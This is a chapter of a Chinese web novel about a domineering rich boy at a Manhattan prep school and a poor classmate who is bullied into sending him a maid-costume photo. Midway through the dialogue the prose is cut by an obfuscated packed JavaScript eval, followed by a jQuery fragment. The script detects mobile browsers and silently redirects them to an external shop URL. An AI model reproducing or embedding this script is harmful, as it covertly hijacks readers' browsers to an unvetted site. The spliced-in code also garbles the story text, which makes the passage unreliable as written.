返校日让沉寂了数月的圣格尼斯高中重新恢复了热闹。

    这座坐落于纽约曼哈顿的顶级贵族私立学校,里面学生的家庭背景基本上都非富即贵。

    越是这样的学校,学校内阶层的划分越是明显。

    想要成为这座学校地位金字塔顶尖的人,Clout(名气)、Looks(外貌)和Money(金钱)这三样每一个都必不可缺。

    而这其中圣格尼斯高中的King更是只有一位。

    学校的新闻社早早在校门口蹲守,势必要拍到这位King新学期的第一次亮相用来做校报的头版头条。

    这可一点也不夸张,毕竟这位在校内就是国际巨星的程度。

    校内论坛甚至有下注他今天是开哪辆豪车的——毕竟这位曾经创下过半个月开了不同豪车来学校的校内记录,至今无人打破。

    其中下注率最高的是红色法拉利,毕竟上学期它的出勤率就是最高的。

    可惜,嚣张的荧光绿色兰博基尼带着轰鸣声停进教学楼入口第一排的专属停车位时,注定了大部分人的落败。

    潇洒的摆尾熄火之后,新闻社的人屏气凝神地将摄像机对焦在车门。

    率先下车的是奥利弗,这位橄榄球队的中锋金发碧眼身高接近两米,是国王关系最好的左膀右臂。

    他也是毋庸置疑的顶层,但显然此刻所有人的注意力还集中在主驾驶没下车的国王身上。

    奥利弗吹了个口哨:“哦,以斯拉,大明星待遇,我看到新闻社的长枪大炮正准备将你轰炸。”

    “闭嘴。”冷冽的声音随着车门的往上抬传出。

    率先从车内踏出的是一双黑红配色的限量联名球鞋,然后易倦那张完美融合西方骨相和东方眉眼的帅脸才从车里钻出来。

    “我靠,好骚包。”有人没忍住小声吐槽。

    吐槽的原因是易倦那头之前在校园内还没那么扎眼的金发被染成了嚣张的大红色。

    虽然圣格尼斯高中是没有仪容仪表相关的规定,但大红色这种颜色除了拥有校内特权的易倦还有谁敢染?

    这鲜艳的红色很容易衬托得人土气,可易倦这张脸太帅了,红发只是让他五官显得更加深邃,加上宽肩窄腰的身材和194的身高,整个人自带星光。

    易倦从车里出来的瞬间被‘咔嚓咔嚓’的快门声扰得心烦,他眯起眼睛视线扫向新闻社的防线,快门声瞬间消失了。

    不能激怒国王,这是学校内的铁则。

    “为什么光顾着拍你,我可也想上一下校报,毕竟今年刚入学的漂亮学妹们非常需要认识一下他们的梦中情人。”奥利弗一如既往地骚包。

    易倦语气不太好:“别乱开屏,把精力留到返校舞会上吧。现在,进教学楼。”

    奥利弗瞬间懂了,好兄弟这是被太阳晒得不耐烦了,他耸肩:“好吧,以斯拉,你说了算。”

    他进教学楼前夸张地给新闻社的人来了个飞吻,然后跟在易倦身后半步走进教学楼。

    踏进教学楼的瞬间,周围学生立刻将中间一条道的位置让了出来。

    废话,哪有人想要去易倦面前刷存在感?被揍了连喊冤的地方都没有。

    况且两个身高超过一米九的巨人站在一起,几乎占据了一半通道的空间,没人想去直面这个威压。

    奥利弗暗骂了一声:“我靠,这么冷,教学楼的冷气还是跟不要钱一样,还好我穿了校队夹克。”

    “你身上的肌肉是摆设吗?”易倦瞥他一眼讥讽道。

    “才不是,你知道不少甜心喜欢。”奥利弗眉飞色舞地跟易倦分享他暑假在汉普顿斯泡到的某个模特的故事。

    易倦听得漫不经心,他对女人没什么兴趣。

    “以斯拉。”一道女声从身后传来。

    凯莉从侧边跑过来,金色高马尾一丝不苟。她显然是等了有一会儿了,脸上的妆容无懈可击。

    奥利弗吹了个低低的口哨,识趣地往后退了两步。

    “我们需要谈谈。”凯莉走到易倦面前,她身高一米七,穿上靴子差不多一米七五,但站在易倦面前还是得仰头,“你整个暑假都不回我消息,开学也不告诉我——你染了头发,我还是从论坛上看到的。以斯拉,我至少配得上一个正式的分手吧。”

    易倦单手插在口袋里低头看着她,表情没什么变化地反问:“分手?我们在一起过吗?”

    这句话让凯莉的脸色变了,完美的面具出现了一道裂痕,露出底下的尖锐:“你什么意思?所有人都知道我们是——”

    “嗯,上次舞会的女伴。”易倦打断她,声音不大,但每个字都很清楚,“你带着摄影师在舞会门口等我,拍了三百张合照发在ins上。我记得我说的是‘舞会可以一起’,没说别的。”

    凯莉咬了咬嘴唇,脸上的表情掺杂着恼羞成怒:“你他妈的混蛋,以斯拉。”

    “嗯。”易倦不咸不淡地应了一声,绕过她继续往前走。

    “你会后悔的!”凯莉在他身后喊,声音拔高了,“你以为你是谁?你这头红发蠢透了,你还真以为自己是学校的国王了?”

    奥利弗回过头想说什么,被易倦一把拽住了胳膊往前拖。

    “跟她说多了掉价。”易倦的语气甚至称得上平静。

    奥利弗耸耸肩,压低声音:“她还是啦啦队队长,你不怕她在比赛的时候——”

    “她不敢。”

    三个字,语气理所当然且笃定。

    奥利弗想了想,觉得也对。毕竟凯莉能当上啦啦队队长,靠的就是跟上一任队长的关系,而上上任队长是易倦的某个远房表姐。

    这种盘根错节的利益关系,才是圣格尼斯的底层逻辑。

    两人走到礼堂门口的时候,人群已经密集起来。

    易倦的出现让周围的目光自动聚拢过来,交头接耳的声音此起彼伏。

    他习以为常地往里走,一般来说没人会走到他面前,更别提撞到他。

    但那只是一般来说,就在他因为无聊打了个哈欠的瞬间,一个人直直撞上了他的胸口。

    冲击力不算大,对易倦来说就像被一团棉花弹了一下。

    他低头,看见一个戴着耳机、黑色卫衣兜帽拉得很低的人,手里抱着的几本书被撞散了一地。

    易倦一眼就看出他的定位应该是学校边角料,独行侠一类的底层人物。

    “对、对不起——”对方的声音闷在口罩后面,慌乱不已。

    他蹲下去手忙脚乱地捡书,兜帽往下滑了一点,露出一截白得近乎透明的后颈,还有几缕黑色的碎发。他很快就把兜帽拽回去了,快得像是一种条件反射,但易倦还是看见了他的眼睛。

    藏在凌乱刘海后面的那双眼睛。

    黑色的,很亮,眼尾微微上挑,是一种介于少年和少女之间的漂亮。

    那双眼睛只跟他对视了不到半秒就飞快地垂下去,然后那个人抱着捡好的书,像只受惊的兔子一样从侧门钻进了礼堂,连背影都透着一股恨不得消失的仓皇。

    跑这么快估计怕被打吧,毕竟易倦的暴躁脾气声名远扬。

    但他真的认为自己脾气挺好的——除了在橄榄球场上。

    “亚洲人?”奥利弗搭上易倦的肩,若有所思地看着那个消失的背影,“圣格尼斯没几个亚洲人,你认识吗?”

    “不认识。”易倦收回目光,表情淡淡的。

    但眼睛挺漂亮的,不知道为什么要藏起来。

    礼堂里,开学典礼已经准备开始了。奥利弗勾着易倦的脖子把他往第一排带,整个橄榄球队的人都坐在那个区域,看见易倦纷纷抬手打招呼。

    易倦懒洋洋地走到正中间坐下,往椅背上一靠,长腿交叠,把球鞋踩在前排的椅背上,姿态嚣张又理所当然。

    没有人说什么。

    毕竟他是以斯拉·斯科特。

    ——

    与此同时,虞涟抱着书从礼堂的后门溜了出去。

    他低着头穿过空无一人的走廊,直到走进教学楼背面那个常年没人来的角落才停下脚步,摘下耳机,靠在墙上长长地吐出一口气。

    心跳速度依旧很快。

    不是因为撞到了人,而是因为撞到的人是易倦。

    哦,学校里的人更多是用他的英文名‘以斯拉’称呼他。

    圣格尼斯的King,橄榄球队的四分卫,斯科特家族的继承人。

    这名号实在有点多,让虞涟想起国内的大冰老师的梗。

    但他完全笑不出来,因为回想起刚才那双自上而下打量自己的眼睛,浅色的瞳孔里带着一种漫不经心的审视,像大型猫科动物在判断某个猎物值不值得伸爪子。

    他承认,易倦帅得有点犯规了。

    对方也是他在床上的幻想对象。

    但也仅此而已。那种阶层的人跟他没有交集,他也不想有任何交集。

    虞涟在这个学校的生存法则是隐形,把自己活成角落里一块人形背景板,不惹眼,不碍事,熬到毕业就行。

    他准备在这里待到上课铃响,脚步声却在这时候传了进来。

    三个人。

    领头的那个虞涟认识,杰克,校橄榄球队的替补边锋,家里做建材生意有点小钱,在普通学生面前耀武扬威,在易倦面前乖得像条狗。

    这种人最喜欢的就是找比他更弱的人刷存在感,虞涟显然就是那个更弱的人。

    “哟。”杰克堵住出口,脸上挂着一种让人很不舒服的笑,“躲在这儿呢,小老鼠。”

    他身后两个跟班也笑了,一左一右拦住所有退路。

    虞涟把兜帽往下压了压,声音很小:“有什么事吗?”

    “没什么事。”杰克走近一步,伸手去扯他的兜帽,“就是想看看——你是不是暑假在第六街那家女仆咖啡店打工的那个?”

    虞涟的瞳孔猛地收缩,慌忙扭头:“我

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17753242|209444||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    不懂你在说什么。”

    “不懂?”杰克一把将虞涟的兜帽扯下来,“我他妈暑假跟家里人去那家店的时候一眼就认出你了。在店里装得跟个小甜心一样喊人家‘主人’,怎么到了学校就变成鹌鹑了?”

    虞涟咬着嘴唇没说话,他知道否认没用了。

    “所以呢?”他抬起眼睛看着杰克,声音还是软绵绵的,但语气里多了点别的情绪,“你想怎样?去论坛曝光我?”

    “不不不。”杰克掏出手机晃了晃,脸上的笑容更加恶劣,“我给你一个好玩的机会。你不是会钓吗?把你的女仆装照片发给以斯拉,看看我们‘小莲’能不能泡到学校的国王。”

    虞涟愣住了:“你疯了?”

    易倦连拉拉队队长都看不上,怎么会看上自己?

    “我他妈清醒得很。”杰克一把揪住虞涟的卫衣领口把他按在墙上,“你以为我不知道你在想什么?整天装得可怜兮兮的,不就是想攀高枝吗?我给你机会啊,你去攀最高的那个。发完照片之后看他怎么羞辱你,那场面一定很有意思。”

    “发完我们就不找你麻烦了。”旁边的跟班补充,笑出一口洁白的牙,“说不定以斯拉还能给你发个红包呢。”

    虞涟沉默了。

    他低垂着眼睛,睫毛在脸颊上投下一小片阴影,看起来像是被吓住了,像只走投无路的小动物。

    但那双眼睛的深处,有什么东西正在飞速地转动。

    他的账户余额只剩下四十七美元。学校的汤饭倒是免费,但也撑不了太久。

    杰克以为这只是个恶作剧,但虞涟在几秒钟之内就完成了利弊计算。

    易倦每月的零花钱有六位数。

    照片发出去,可能会被羞辱。

    但如果——只是如果——易倦看上了呢?

    这是他妈的一次绝境翻身的机会

    况且他现在也没得选择。

    “好。”虞涟开口,声音乖巧又顺从,“我发。但你们要说话算话,发完就放我走。”

    杰克露出一个得逞的笑容,松开了他的领口。

    虞涟拿出手机在ins上找到了易倦的账号:Ezra。

    虽然他的ins里除了橄榄球相关基本没发布过什么,但粉丝已然有好几万。

    毕竟他的身份不只有校内国王,还是斯科特家族的人。

    天生自带光环。

    真嫉妒啊。

    可现在想不了那么多,他从相册里选了那张暑假打工时穿的女仆装自拍,带着金色罗马卷假发,黑色连衣裙配白色围裙,蕾丝发箍把刘海别到一边,露出饱满的额头和那双天生带着几分媚意的眼睛。

    照片里的他嘴角微微往上翘起一个乖巧的弧度,灯光打在他的锁骨上,看起来又纯又欲。

    任谁都看不出这是个男人。

    虞涟按下发送键的时候,心跳快得像要蹦出胸腔。

    照片发出去了。

    杰克凑过来看了看屏幕,发出一声满意的嗤笑:“我靠,你这照片专门为钓凯子准备的吧,绝了。行,等几分钟,看看这位爷是怎么骂你的。”

    虞涟靠在墙上,低着头。

    他的手指攥着手机边缘,指节因为用力而微微发白。

    时间一秒一秒地过去。

    易倦没有回复。

    杰克显然也有些意外,又等了一会儿,手机还是毫无动静。他骂了一声,大概是觉得易倦根本不会搭理这种消息。

    他踢了一脚垃圾桶,对两个跟班挥挥手:“走了走了,真没意思。”

    三人的脚步声远去。

    虞涟一个人站在角落里,看着聊天界面上那个孤零零的未读标记,松了一口气,但又觉得说不上来地有点失落。

    他靠在墙上,闭上眼睛,在心里骂了一句。

    捞不了就算了。

    反正他也只是抱着试试看的态度。

    就在他准备把手机收进口袋的时候,屏幕突然亮了起来。

    Ezra Scott:照片里的人是你?

    虞涟愣住了。

    他的手指悬在屏幕上方,停了整整三秒。

    哎哎哎,他回了?

    不是吧,那个易倦?

    难道他的癖好是女仆装?

    另一端,礼堂第一排。

    易倦靠在椅背上,手机屏幕的光照亮了他那张没什么表情的脸。舞台上的校长正在滔滔不绝地讲着什么狗屁校训,他一个字也没听进去。

    他看着那张女仆装照片,挑了一下眉。

    黑色蕾丝发箍,白皙的锁骨,那双又纯又媚的眼睛透过镜头看着他,像一只小心翼翼伸出爪子试探的小猫。

    易倦把照片又看了一遍,然后关掉了手机。

    但嘴角翘了一点点。

    不是他喜欢的类型,他根本不会回消息。

    这张照片里的,恰好长在他审美上。

    他对她很感兴趣。